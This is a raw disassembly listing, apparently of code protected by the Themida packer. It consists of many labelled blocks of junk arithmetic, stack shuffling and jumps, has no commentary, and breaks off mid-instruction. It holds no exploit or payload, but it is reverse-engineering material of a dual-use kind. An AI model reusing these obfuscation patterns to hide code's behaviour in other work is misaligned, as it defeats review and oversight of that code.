--------------------------------------------------------------------------- loc_56AC04: ; CODE XREF: Themida_:00565CA4j mov dl, 0E6h add bl, dl jmp loc_571B57 ; --------------------------------------------------------------------------- loc_56AC0D: ; CODE XREF: Themida_:0056E2D3j mov dx, [esp] add esp, 2 push ecx jmp loc_56CADA ; --------------------------------------------------------------------------- loc_56AC1A: ; CODE XREF: Themida_:00569922j mov [esp], esi mov esi, 5A9E1FB0h push 7E44h mov [esp], esi push dword ptr [esp] jmp loc_55E24F ; --------------------------------------------------------------------------- loc_56AC32: ; CODE XREF: Themida_:00560475j mov eax, esp push edi jmp loc_5680D8 ; --------------------------------------------------------------------------- loc_56AC3A: ; CODE XREF: Themida_:0056EA0Bj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] add esp, 4 add ebx, 4 jmp loc_562A70 ; --------------------------------------------------------------------------- loc_56AC58: ; CODE XREF: Themida_:00563625j mov ebp, 314327h and eax, ebp pop ebp push edx jmp loc_5612DD ; --------------------------------------------------------------------------- loc_56AC66: ; CODE XREF: Themida_:00562683j sub edi, 1531500Ch add edi, ebp add edi, 1531500Ch push dword ptr [esp] pop ebp jmp loc_56FD75 ; --------------------------------------------------------------------------- lodsd push edx jmp loc_566D9B ; --------------------------------------------------------------------------- loc_56AC84: ; CODE XREF: Themida_:00568335j dec edx add edx, 43893857h jmp loc_569B11 ; --------------------------------------------------------------------------- loc_56AC90: ; CODE XREF: Themida_:0056B079j xor edi, 14BE41DEh sub esp, 4 mov [esp], edx jmp loc_5680AB ; --------------------------------------------------------------------------- loc_56ACA1: ; CODE XREF: Themida_:00560061j xchg edx, [esp] pop esp mov [esp], edi mov edi, 7FB5470Fh sub ebx, 56D06156h sub ebx, edi push edi mov edi, 56D06156h add ebx, 55363B7Dh add ebx, 6057029Dh add ebx, edi jmp loc_5729B1 ; --------------------------------------------------------------------------- loc_56ACCE: ; CODE XREF: Themida_:00567816j add ebx, 1C3500CDh sub ebx, 23242B4Eh pop esi sub eax, ebx pop ebx add ebp, eax pop eax sub esp, 4 mov [esp], ecx push 4 pop ecx sub ebp, ecx pop ecx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ecx push 7BCEh mov [esp], eax push ecx push edx push ecx mov ch, 1Ah mov dh, ch pop ecx mov cl, dh pop edx mov ah, 86h sub ah, cl pop ecx add ah, 5Ah add ah, 0E0h mov cl, ah pop eax sub al, cl mov ecx, [esp] add esp, 4 push 4442h mov [esp], ecx push eax mov ah, 1Ah xchg bh, ah not bh xchg bh, ah push ebx jmp loc_55F281 ; --------------------------------------------------------------------------- loc_56AD3F: ; CODE XREF: Themida_:005709B2j and ebx, 21B16D47h shr ebx, 1 xor ebx, 7F6DC3Fh add eax, 35240C34h sub eax, 6A25578Ah sub eax, ebx jmp loc_56879B ; --------------------------------------------------------------------------- loc_56AD5E: ; CODE XREF: Themida_:0056BA86j add edx, esi push ebx mov ebx, 6AD6324Bh sub ebx, 99EC927h sub edx, ebx pop ebx jmp loc_5626A2 ; --------------------------------------------------------------------------- loc_56AD74: ; CODE XREF: Themida_:0056439Ej push eax push 789E17C6h mov eax, [esp] add esp, 4 push ecx mov ecx, 71FE2C74h and ecx, 73A92F54h not ecx xor ecx, 9D77AA33h sub edx, ecx pop ecx add edx, eax push ecx mov ecx, 13207998h sub edx, 559E2E60h add edx, ecx add edx, 559E2E60h jmp loc_5676CB ; --------------------------------------------------------------------------- loc_56ADB5: ; CODE XREF: Themida_:0057283Fj xor [esp], eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56ADBE: ; CODE XREF: Themida_:0056CFC9j xor ah, 27h shl ah, 2 jmp loc_56DEDA ; --------------------------------------------------------------------------- loc_56ADC9: ; CODE XREF: Themida_:00565E49j push ebx mov ebx, 3B9A50E4h add eax, ebx mov ebx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop ebp push esi jmp loc_56865E ; --------------------------------------------------------------------------- loc_56ADF2: ; CODE XREF: Themida_:0056FC05j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_56C095 ; --------------------------------------------------------------------------- loc_56AE06: ; CODE XREF: Themida_:005673A4j push 49B1h mov [esp], esi mov esi, 9C95343h inc esi push edi push ebx mov ebx, 26B76220h jmp loc_560248 ; --------------------------------------------------------------------------- loc_56AE20: ; CODE XREF: Themida_:0055F940j mov esi, 4F597D3Eh neg esi jmp loc_55EE36 ; --------------------------------------------------------------------------- loc_56AE2C: ; CODE XREF: Themida_:0056449Aj mov ebp, 287B61DDh sub ecx, ebp pop ebp xor ecx, 0ED49CD2Ch sub edi, 7C720C3Eh sub edi, ecx add edi, 7C720C3Eh pop ecx sub edi, 62303CDBh add edi, 9404A38h add edi, ecx sub edi, 9404A38h sub esp, 4 mov [esp], ebx push esi mov esi, 2DFB437Ah mov ebx, 4FCB7FA1h xor ebx, esi pop esi jmp loc_56AFFE ; --------------------------------------------------------------------------- loc_56AE76: ; CODE XREF: Themida_:005625A8j shr al, 8 neg al and al, 0FAh sub al, 0FFh sub cl, al jmp loc_5661AA ; --------------------------------------------------------------------------- loc_56AE86: ; CODE XREF: Themida_:00566DCFj pop ecx push edx mov edx, 42084871h add ebx, 75AC5CE3h sub ebx, edx sub ebx, 75AC5CE3h pop edx add ebx, eax add ebx, 42084871h push ebp push 30B1h mov [esp], esi mov esi, 125F3B0Bh push esi jmp loc_5616BA ; --------------------------------------------------------------------------- loc_56AEB8: ; CODE XREF: Themida_:0056E4C0j mov ebx, [esp] add esp, 4 push 3EECh jmp loc_55F6D2 ; --------------------------------------------------------------------------- loc_56AEC8: ; CODE XREF: Themida_:00563519j add edi, 4 push 7BA0h mov [esp], edx mov edx, 5F974331h sub esp, 4 mov [esp], edi mov edi, 314E04E1h not edi push edx jmp loc_56173F ; --------------------------------------------------------------------------- loc_56AEEE: ; CODE XREF: Themida_:0056A431j push esp push dword ptr [esp] pop edi add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_56450D ; --------------------------------------------------------------------------- loc_56AF07: ; CODE XREF: Themida_:0056B469j mov cl, 8Ah sub bl, cl pop cx shl bl, 5 push eax mov ah, 57h jmp loc_568296 ; --------------------------------------------------------------------------- loc_56AF18: ; CODE XREF: Themida_:00567CAAj xchg edx, edi push esi mov esi, 0DF780003h add edi, esi pop esi add ebx, 92A50B9h add ebx, edi push ecx mov ecx, 75323980h push edi jmp loc_56154D ; --------------------------------------------------------------------------- loc_56AF37: ; CODE XREF: Themida_:00565389j push edi mov edi, 4D43360Fh jmp loc_5661D8 ; --------------------------------------------------------------------------- loc_56AF42: ; CODE XREF: Themida_:005643C1j add ebx, 0F58236F8h or esi, ebx jmp loc_56965E ; --------------------------------------------------------------------------- loc_56AF4F: ; CODE XREF: Themida_:0056866Fj sub ebp, 0CDEF92AAh jmp loc_56D6EC ; --------------------------------------------------------------------------- loc_56AF5A: ; CODE XREF: Themida_:0056C1ABj or dl, ch mov ecx, [esp] add esp, 4 add dl, 50h sub ah, dl pop edx sub ah, 98h push eax not byte ptr [esp+1] pop eax sub ah, 47h jmp loc_5666E9 ; --------------------------------------------------------------------------- loc_56AF7C: ; CODE XREF: Themida_:005688BAj push ebp mov ebp, esp add ebp, 4 jmp loc_56ECDA ; --------------------------------------------------------------------------- loc_56AF8A: ; CODE XREF: Themida_:0055EB0Dj pop dword ptr [esp] mov esp, [esp] mov [esp], eax sub esp, 4 mov [esp], esi push 6C2A09AFh mov esi, [esp] add esp, 4 and esi, 5B91121Eh xor esi, 2E2A2988h jmp loc_55DC87 ; --------------------------------------------------------------------------- loc_56AFB8: ; CODE XREF: Themida_:0056CBAEj push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_567F52 ; --------------------------------------------------------------------------- loc_56AFCD: ; CODE XREF: Themida_:00563CB1j pop ebx push edx mov edx, 6A91A20h xor ebx, edx jmp loc_56BA11 ; --------------------------------------------------------------------------- loc_56AFDB: ; CODE XREF: Themida_:00560D78j pop eax jmp loc_5717B0 ; --------------------------------------------------------------------------- loc_56AFE1: ; CODE XREF: Themida_:00569025j mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_567C71 ; --------------------------------------------------------------------------- loc_56AFF2: ; CODE XREF: Themida_:00565919j pop ecx add bh, 27h sub al, bh pop ebx jmp loc_5629CA ; --------------------------------------------------------------------------- loc_56AFFE: ; CODE XREF: Themida_:0056AE71j add edi, ebx mov ebx, [esp] add esp, 4 push edx mov edx, 555444Dh jmp loc_567B73 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_55E010 ; --------------------------------------------------------------------------- loc_56B019: ; CODE XREF: Themida_:0056DD89j not ebp inc ebp sub esp, 4 mov [esp], edi mov edi, 3C38410Ch and ebp, edi pop edi or ebp, 96A011Ch or ebp, 110F436Dh jmp loc_561D88 ; --------------------------------------------------------------------------- loc_56B03E: ; CODE XREF: Themida_:0056A012j xor al, 0Ah add bl, al pop eax mov ecx, [esp] push edi jmp loc_5617AB ; --------------------------------------------------------------------------- loc_56B04C: ; CODE XREF: Themida_:0056F13Cj push ecx mov ecx, 26A93675h jmp loc_56A7CC ; --------------------------------------------------------------------------- loc_56B057: ; CODE XREF: Themida_:0056D52Ej mov [esp], edi push 117D288Fh pop edi shr edi, 8 jmp loc_5670D8 ; --------------------------------------------------------------------------- loc_56B068: ; CODE XREF: Themida_:0055D511j push esi jmp loc_569C24 ; --------------------------------------------------------------------------- loc_56B06E: ; CODE XREF: Themida_:00560DC8j mov edi, 7D446447h xor edi, 5FE87D61h jmp loc_56AC90 ; --------------------------------------------------------------------------- loc_56B07E: ; CODE XREF: Themida_:00570454j pop ebx sub esi, edi jmp loc_55F3D1 ; --------------------------------------------------------------------------- loc_56B086: ; CODE XREF: Themida_:00569997j push esi jmp loc_5639B4 ; --------------------------------------------------------------------------- loc_56B08C: ; CODE XREF: Themida_:00566C2Ej pop edx xchg ebx, [esp] mov esp, [esp] jmp loc_55D516 ; --------------------------------------------------------------------------- loc_56B098: ; CODE XREF: Themida_:00560D41j pop ecx jmp loc_56512F ; --------------------------------------------------------------------------- loc_56B09E: ; CODE XREF: Themida_:0056C460j xor dh, 91h dec dh push cx mov cl, 0C1h jmp loc_572972 ; --------------------------------------------------------------------------- loc_56B0AC: ; CODE XREF: Themida_:0055DB48j xor [esp], edx xor edx, [esp] pop esp mov cx, [esp] push eax jmp loc_561EB6 ; --------------------------------------------------------------------------- loc_56B0BD: ; CODE XREF: Themida_:0055F20Bj push esp jmp loc_561488 ; --------------------------------------------------------------------------- loc_56B0C3: ; CODE XREF: Themida_:00562CA6j add ax, di sub ax, 788Ah pop edi jmp loc_563ECE ; --------------------------------------------------------------------------- loc_56B0D0: ; CODE XREF: Themida_:00564570j pop ebp or ecx, 1D3B0DD5h push 642Ch mov [esp], esi push 6E16h mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_563723 ; --------------------------------------------------------------------------- loc_56B0FA: ; CODE XREF: Themida_:00567312j pop edx sub esp, 4 jmp loc_56570A ; --------------------------------------------------------------------------- loc_56B106: ; CODE XREF: Themida_:005697F3j push ebx jmp loc_563A67 ; --------------------------------------------------------------------------- loc_56B10C: ; CODE XREF: Themida_:00560D6Bj xor ebp, 1A331E44h add ebp, 0B5ADAA9Dh sub esp, 4 jmp loc_56BADB ; --------------------------------------------------------------------------- loc_56B123: ; CODE XREF: Themida_:005647E2j add ecx, 4A80D0E6h and esi, ecx pop ecx inc esi push esi push ecx pop esi jmp loc_572465 ; --------------------------------------------------------------------------- loc_56B135: ; CODE XREF: Themida_:00572AEAj add esp, 4 sub bl, ah pop eax push 4A5Fh mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_55F422 ; --------------------------------------------------------------------------- loc_56B15B: ; CODE XREF: Themida_:00572804j push eax pop esi mov eax, [esp] add esp, 4 not eax push esi push eax pop esi jmp loc_571BB9 ; --------------------------------------------------------------------------- loc_56B16D: ; CODE XREF: Themida_:005653E5j sub ebx, 699819F0h jmp loc_561DC8 ; --------------------------------------------------------------------------- mov cx, [esp] push 7035h mov [esp], ebx push 40ABh jmp loc_56E12E ; --------------------------------------------------------------------------- loc_56B18E: ; CODE XREF: Themida_:00566BD2j inc ecx jmp loc_5634FB ; --------------------------------------------------------------------------- loc_56B194: ; CODE XREF: Themida_:005602D5j push ecx jmp loc_5615BF ; --------------------------------------------------------------------------- loc_56B19A: ; CODE XREF: Themida_:00571BB4j or bh, 0F0h sub bh, 2Ch add dl, 0F8h add dl, bh sub dl, 0F8h mov ebx, [esp] add esp, 4 shr dl, 3 dec dl xor dl, 64h xor dl, ah xor ah, dl xor dl, ah inc ah push cx mov cl, ah mov ah, dl mov dl, cl mov cx, [esp] add esp, 2 xor dl, 6Ah jmp loc_571134 ; --------------------------------------------------------------------------- lodsb sub esp, 4 mov [esp], ecx push eax jmp loc_5643D4 ; --------------------------------------------------------------------------- loc_56B1E8: ; CODE XREF: Themida_:0056FF78j mov edx, 4 sub ecx, edx jmp loc_56661F ; --------------------------------------------------------------------------- loc_56B1F4: ; CODE XREF: Themida_:00563565j pop edi push eax jmp loc_5703B1 ; --------------------------------------------------------------------------- loc_56B1FB: ; CODE XREF: Themida_:0057278Fj pop ebx pop dword ptr [esp] not ebx xchg ebx, [esp] pop ebp jmp loc_56B846 ; --------------------------------------------------------------------------- loc_56B20A: ; CODE XREF: Themida_:005681E4j push dword ptr [esp] pop edx jmp loc_56FD4C ; --------------------------------------------------------------------------- loc_56B213: ; CODE XREF: Themida_:0056ECF8j mov edi, 348F21F1h sub ebx, edi mov edi, [esp] add esp, 4 sub ebx, 6FF115E4h add ebx, eax add ebx, 6FF115E4h jmp loc_561CD0 ; --------------------------------------------------------------------------- loc_56B233: ; CODE XREF: Themida_:0056A0B8j mov ebx, [esp] add esp, 4 push 7CB3h mov [esp], edi push ecx push edi mov edi, 57453CDBh mov ecx, edi pop edi mov edi, ecx push dword ptr [esp] pop ecx add esp, 4 add ebx, edi jmp loc_568265 ; --------------------------------------------------------------------------- loc_56B25E: ; CODE XREF: Themida_:0056EFC7j add ebp, 0AE1AE8D5h mov ebx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 sub eax, ebx pop ebx xchg eax, [esp] mov esp, [esp] mov [esp], ebx jmp loc_56B4D0 ; --------------------------------------------------------------------------- loc_56B283: ; CODE XREF: Themida_:0056736Bj mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push ecx jmp loc_55D63A ; --------------------------------------------------------------------------- loc_56B2A1: ; CODE XREF: Themida_:0056F715j pop ecx jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56B2A7: ; CODE XREF: Themida_:0056DD19j mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] jmp loc_55E916 ; --------------------------------------------------------------------------- loc_56B2BA: ; CODE XREF: Themida_:0056EF9Aj pop edx add esi, ecx pop ecx jmp loc_56DBFD ; --------------------------------------------------------------------------- loc_56B2C3: ; CODE XREF: Themida_:0055EFD6j sub bh, 0B0h sub bh, 33h xor bh, 86h neg bh sub bh, 74h jmp loc_56A1BD ; --------------------------------------------------------------------------- loc_56B2D6: ; CODE XREF: Themida_:0056434Ej xchg ebx, [esp] pop esp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_567659 ; --------------------------------------------------------------------------- loc_56B2F2: ; CODE XREF: Themida_:00564BBFj xor bh, 61h xor ah, bh mov ebx, [esp] add esp, 4 push ebx mov bl, ah mov dl, bl pop ebx mov eax, [esp] add esp, 4 sub al, 0F0h add al, dl push ecx mov ch, 92h or ch, 0D0h push eax mov al, 0C7h dec al add al, 0AFh not al xor al, 0A8h xor ch, al pop eax add al, ch mov ecx, [esp] add esp, 4 push dword ptr [esp] pop edx push esi mov esi, esp push edx jmp loc_55D529 ; --------------------------------------------------------------------------- loc_56B33C: ; CODE XREF: Themida_:0056CF34j push 10F4h mov [esp], esp add dword ptr [esp], 4 pop edi push ebx mov ebx, 4 add edi, 1BE73DB2h add edi, ebx sub edi, 1BE73DB2h pop ebx push ebp mov ebp, 4 sub edi, ebp jmp loc_56A2C0 ; --------------------------------------------------------------------------- loc_56B36E: ; CODE XREF: Themida_:0057229Ej push ebp mov ebp, esp jmp loc_56658E ; --------------------------------------------------------------------------- loc_56B376: ; CODE XREF: Themida_:005668EFj push ecx push 47626E65h jmp loc_57076D ; --------------------------------------------------------------------------- loc_56B381: ; CODE XREF: Themida_:0056B554j mov edi, 0EB92210h inc edi jmp loc_560424 ; --------------------------------------------------------------------------- loc_56B38C: ; CODE XREF: Themida_:00561DC3j xchg esi, [esp] jmp loc_564698 ; --------------------------------------------------------------------------- loc_56B394: ; CODE XREF: Themida_:00567C02j sub esp, 4 mov [esp], edi jmp loc_55DB3A ; --------------------------------------------------------------------------- loc_56B3A2: ; CODE XREF: Themida_:0055D4D3j mov edi, [esp] jmp loc_567FF1 ; --------------------------------------------------------------------------- loc_56B3AA: ; CODE XREF: Themida_:005638F0j mov ebx, edx jmp loc_563740 ; --------------------------------------------------------------------------- loc_56B3B1: ; CODE XREF: Themida_:00566A87j add esp, 4 xor ebx, eax push 6174h mov [esp], eax jmp loc_55FACA ; --------------------------------------------------------------------------- loc_56B3C6: ; CODE XREF: Themida_:0056B5F1j sub edx, 7CF571EDh jmp loc_56A111 ; --------------------------------------------------------------------------- loc_56B3D1: ; CODE XREF: Themida_:0055D55Bj push ebx mov ebx, 3D270F0Eh jmp loc_56E3DC ; --------------------------------------------------------------------------- loc_56B3DC: ; CODE XREF: Themida_:0056BE01j pop esp mov [esp], edx push 2049h push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edx, [esp] push edx jmp loc_55F54B ; --------------------------------------------------------------------------- loc_56B3F9: ; CODE XREF: Themida_:005682C5j add ebx, esi jmp loc_56427C ; --------------------------------------------------------------------------- loc_56B400: ; CODE XREF: Themida_:00566AE5j pop ebx add ebx, 4 add ebx, 4 jmp loc_565CE3 ; --------------------------------------------------------------------------- loc_56B40F: ; CODE XREF: Themida_:0056F787j pop edi sub ebx, 7A154DFAh xor edx, ebx mov ebx, [esp] add esp, 4 and eax, edx mov edx, [esp] add esp, 4 shr eax, 18h xor eax, ecx push 2C47h mov [esp], eax jmp loc_571104 ; --------------------------------------------------------------------------- loc_56B438: ; CODE XREF: Themida_:00562CD5j mov esp, [esp] xor bl, al movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] jmp loc_56A671 ; --------------------------------------------------------------------------- loc_56B44E: ; CODE XREF: Themida_:00560CC7j add esp, 4 push dx push ecx mov cl, 53h mov dh, 96h xor dh, cl pop ecx xor bl, dh pop dx sub esp, 2 mov [esp], cx jmp loc_56AF07 ; --------------------------------------------------------------------------- loc_56B46E: ; CODE XREF: Themida_:005658F8j add edx, 13AF4EFBh add edx, edi sub edx, 13AF4EFBh jmp loc_569BEE ; --------------------------------------------------------------------------- loc_56B481: ; CODE XREF: Themida_:0056BDDBj pop esi pop dword ptr [esp] pop esp mov [esp], esi push eax push 808h mov [esp], ebp mov ebp, 340D0BF6h sub ebp, 5A0B551Dh jmp loc_569326 ; --------------------------------------------------------------------------- loc_56B4A2: ; CODE XREF: Themida_:0056DDF1j not eax xor eax, 58E8A040h jmp loc_571534 ; --------------------------------------------------------------------------- loc_56B4AE: ; CODE XREF: Themida_:0055FB9Fj add esp, 4 pop ebx add ebx, 4 add ebx, 2 push ebx jmp loc_55DCB1 ; --------------------------------------------------------------------------- loc_56B4C7: ; CODE XREF: Themida_:00570E1Aj push dword ptr [esp] pop ecx jmp loc_56F7B0 ; --------------------------------------------------------------------------- loc_56B4D0: ; CODE XREF: Themida_:0056B27Ej push esp mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push esi mov esi, 61765859h and esi, 645312C5h push ebp mov ebp, 4D924160h sub ebp, 0B400F49h dec ebp shl ebp, 8 shr ebp, 7 add ebp, 6BEB653Ch push ecx jmp loc_567432 ; --------------------------------------------------------------------------- loc_56B512: ; CODE XREF: Themida_:0056973Ej xor edi, 40400905h add eax, edi mov edi, [esp] add esp, 4 add eax, 4 xchg eax, [esp] jmp loc_55E98D ; --------------------------------------------------------------------------- loc_56B52B: ; CODE XREF: Themida_:0055F5A1j add eax, 4 xchg eax, [esp] mov esp, [esp] shr eax, 0Ch xor eax, ecx sub esp, 4 mov [esp], eax not dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp push edx mov edx, 77010159h push edi jmp loc_56B381 ; --------------------------------------------------------------------------- loc_56B559: ; CODE XREF: Themida_:0055DDE6j push ecx mov ecx, esp jmp loc_56DDE0 ; --------------------------------------------------------------------------- loc_56B561: ; CODE XREF: Themida_:00561B1Fj push edi mov edi, esp jmp loc_56ECAC ; --------------------------------------------------------------------------- loc_56B569: ; CODE XREF: Themida_:00567E54j push ecx mov ch, dh mov dh, ah mov ah, ch jmp loc_567040 ; --------------------------------------------------------------------------- loc_56B575: ; CODE XREF: Themida_:005648FCj xor edx, 446D3C17h and esi, edx pop edx push ebx mov ebx, 73D2798Fh jmp loc_56FA70 ; --------------------------------------------------------------------------- loc_56B589: ; CODE XREF: Themida_:00561CF3j mov [esp], esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push eax push edi jmp loc_572809 ; --------------------------------------------------------------------------- loc_56B5A9: ; CODE XREF: Themida_:0056615Cj shr ebx, 6 sub ebx, 817F0C75h jmp loc_55D772 ; --------------------------------------------------------------------------- loc_56B5B7: ; CODE XREF: Themida_:00562B62j add ebp, 730E07F4h add ebp, 48A10BD3h add ebp, 5CE818FDh sub ebp, edi sub ebp, 5CE818FDh sub ebp, 48A10BD3h jmp loc_55FCCA ; --------------------------------------------------------------------------- loc_56B5DC: ; CODE XREF: Themida_:005710F0j mov esi, 637643B7h shr esi, 6 jmp loc_56423B ; --------------------------------------------------------------------------- loc_56B5E9: ; CODE XREF: Themida_:0055E5F2j push esp pop ebx push edx mov edx, 7CF571F1h jmp loc_56B3C6 ; --------------------------------------------------------------------------- loc_56B5F6: ; CODE XREF: Themida_:0056A0A1j and eax, 169A605Eh shr eax, 1 dec eax xor eax, 1452004h jmp loc_567F64 ; --------------------------------------------------------------------------- loc_56B608: ; CODE XREF: Themida_:0056DBABj mov ebp, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_57267E ; --------------------------------------------------------------------------- loc_56B61F: ; CODE XREF: Themida_:0057015Bj push dword ptr [esp] push dword ptr [esp] pop edx push 704Fh mov [esp], ebx mov ebx, esp sub esp, 4 jmp loc_568480 ; --------------------------------------------------------------------------- loc_56B63B: ; CODE XREF: Themida_:00560ACBj pop ecx add ecx, 457A3F9Ch jmp loc_570270 ; --------------------------------------------------------------------------- loc_56B647: ; CODE XREF: Themida_:00567B64j pop ebp jmp loc_564848 ; --------------------------------------------------------------------------- loc_56B64D: ; CODE XREF: Themida_:00567BD8j mov bl, al pop eax pop edx pop ax sub esp, 4 mov [esp], edx push eax mov al, 0D1h jmp loc_56CFCE ; --------------------------------------------------------------------------- loc_56B661: ; CODE XREF: Themida_:00568D72j mov eax, 20ED5DD1h mov esi, eax mov eax, [esp] jmp loc_56BCEF ; --------------------------------------------------------------------------- loc_56B670: ; CODE XREF: Themida_:0056B7C9j sub esp, 4 mov [esp], edx mov edx, 48C13B20h add esi, 67820CD0h add esi, edx sub esi, 67820CD0h pop edx inc esi neg esi neg esi jmp loc_56819A ; --------------------------------------------------------------------------- loc_56B694: ; CODE XREF: Themida_:00568D8Bj mov [esp], ecx mov cl, al push 1AFAh mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] jmp loc_56772E ; --------------------------------------------------------------------------- loc_56B6B9: ; CODE XREF: Themida_:00565DE4j pop edi jmp loc_560CBE ; --------------------------------------------------------------------------- loc_56B6BF: ; CODE XREF: Themida_:0056F659j mov ebp, 79EF1DB2h neg ebp jmp loc_5660E0 ; --------------------------------------------------------------------------- loc_56B6CB: ; CODE XREF: Themida_:0056AAC4j sub edi, 0BCDEC886h jmp loc_5607AD ; --------------------------------------------------------------------------- loc_56B6D6: ; CODE XREF: Themida_:00566EB2j dec edx sub edx, 56302FF7h mov edi, edx pop edx mov esi, edi jmp loc_571077 ; --------------------------------------------------------------------------- loc_56B6E7: ; CODE XREF: Themida_:0056F2FBj xor ebp, edx pop edx xchg esi, ebp not esi jmp loc_55DD2A ; --------------------------------------------------------------------------- loc_56B6F3: ; CODE XREF: Themida_:005606F5j mov ebp, 4 jmp loc_5623C2 ; --------------------------------------------------------------------------- loc_56B6FD: ; CODE XREF: Themida_:00567D18j inc ebx jmp loc_56C243 ; --------------------------------------------------------------------------- loc_56B703: ; CODE XREF: Themida_:00561D9Ej and edi, 458A1E5Ch xor edi, 1FF91B80h or edi, 729332Ah sub edi, 10F31C93h add edi, 0F0F7DCDDh mov ebx, edi jmp loc_568909 ; --------------------------------------------------------------------------- loc_56B728: ; CODE XREF: Themida_:00560182j mov ebp, [esp] jmp loc_563450 ; --------------------------------------------------------------------------- loc_56B730: ; CODE XREF: Themida_:0056F28Dj add esp, 4 push 25EAh mov [esp], ecx push esp jmp loc_55F29E ; --------------------------------------------------------------------------- loc_56B741: ; CODE XREF: Themida_:00560DBBj push edx mov edx, 50F27206h xchg ebx, edx neg ebx xor edx, ebx xor ebx, edx xor edx, ebx push esi mov esi, 0CA92EFFh or edx, esi pop esi sub edx, 1 add edx, 50525006h sub ebp, 6F7F6006h sub ebp, 67FB3C67h add ebp, edx jmp loc_567C79 ; --------------------------------------------------------------------------- loc_56B779: ; CODE XREF: Themida_:00564DA7j add esi, eax jmp loc_565729 ; --------------------------------------------------------------------------- loc_56B780: ; CODE XREF: Themida_:0056F142j push edx push ecx push 603022C3h pop ecx jmp loc_5649C8 ; --------------------------------------------------------------------------- loc_56B78D: ; CODE XREF: Themida_:00568026j mov ax, [esp] push 9A7h jmp loc_571CC9 ; --------------------------------------------------------------------------- loc_56B79B: ; CODE XREF: Themida_:00563107j mov edx, edi jmp loc_5640F9 ; --------------------------------------------------------------------------- loc_56B7A2: ; CODE XREF: Themida_:00564D47j sub esi, ecx mov ecx, [esp] push edi jmp loc_56DD32 ; --------------------------------------------------------------------------- loc_56B7AD: ; CODE XREF: Themida_:00560E53j push 11F8h mov [esp], ebp jmp loc_56C990 ; --------------------------------------------------------------------------- loc_56B7BA: ; CODE XREF: Themida_:005718AEj pop ebx loc_56B7BB: ; CODE XREF: Themida_:005604C4j push ecx mov ecx, esp jmp loc_568DEF ; --------------------------------------------------------------------------- loc_56B7C3: ; CODE XREF: Themida_:00570667j push 269A7C8Bh pop esi jmp loc_56B670 ; --------------------------------------------------------------------------- loc_56B7CE: ; CODE XREF: Themida_:00571AEFj add esp, 4 sub esp, 4 jmp loc_565F2A ; --------------------------------------------------------------------------- loc_56B7DC: ; CODE XREF: Themida_:005620C3j and ebx, 79E21189h push esi mov esi, 5C260C9h neg esi xor esi, 0A0C3252h not esi sub esi, 0DB05D87Eh and ebx, esi jmp loc_564E38 ; --------------------------------------------------------------------------- loc_56B7FF: ; CODE XREF: Themida_:0056083Dj ; Themida_:005619F3j push ebx push 6FE1h mov [esp], eax jmp loc_56E0D1 ; --------------------------------------------------------------------------- loc_56B80D: ; CODE XREF: Themida_:0056F214j mov cl, 0B2h push ecx push ebx jmp loc_56D29D ; --------------------------------------------------------------------------- loc_56B816: ; CODE XREF: Themida_:0055EA35j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp and eax, ebp mov ebp, [esp] jmp loc_571204 ; --------------------------------------------------------------------------- loc_56B82D: ; CODE XREF: Themida_:00562563j add [esp+4], ebx sub dword ptr [esp+4], 5F417D39h jmp loc_571B1E ; --------------------------------------------------------------------------- loc_56B83E: ; CODE XREF: Themida_:0056D8A3j add edx, eax pop eax jmp loc_56E749 ; --------------------------------------------------------------------------- loc_56B846: ; CODE XREF: Themida_:0056B205j add ebp, 0FFFFFFFFh jmp loc_567093 ; --------------------------------------------------------------------------- loc_56B84E: ; CODE XREF: Themida_:0055D6F2j push edi mov edi, 7BEA3246h shl edi, 6 jmp loc_56DABB ; --------------------------------------------------------------------------- loc_56B85C: ; CODE XREF: Themida_:0056254Ej push esi push ebp pop esi pop ebp jmp loc_56A5DF ; --------------------------------------------------------------------------- loc_56B865: ; CODE XREF: Themida_:0056FFC1j add esp, 4 push esi mov esi, 4 sub ebx, 1E921890h add ebx, esi add ebx, 1E921890h pop esi add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push small word ptr [eax] jmp loc_560280 ; --------------------------------------------------------------------------- loc_56B897: ; CODE XREF: Themida_:0056DD66j ; Themida_:0056F44Ej push 62FCh mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_568CD0 ; --------------------------------------------------------------------------- loc_56B8BF: ; CODE XREF: Themida_:005637A6j pop eax jmp loc_566EEA ; --------------------------------------------------------------------------- loc_56B8C5: ; CODE XREF: Themida_:00565265j add ebp, ecx jmp loc_56003A ; --------------------------------------------------------------------------- loc_56B8CC: ; CODE XREF: Themida_:005710B8j pop esi loc_56B8CD: ; CODE XREF: Themida_:0056D067j ; Themida_:0056FBF8j push 5030h mov [esp], ebp push 3E77h mov [esp], ecx mov ecx, ebx push ecx mov ebp, [esp] add esp, 4 mov ecx, [esp] add 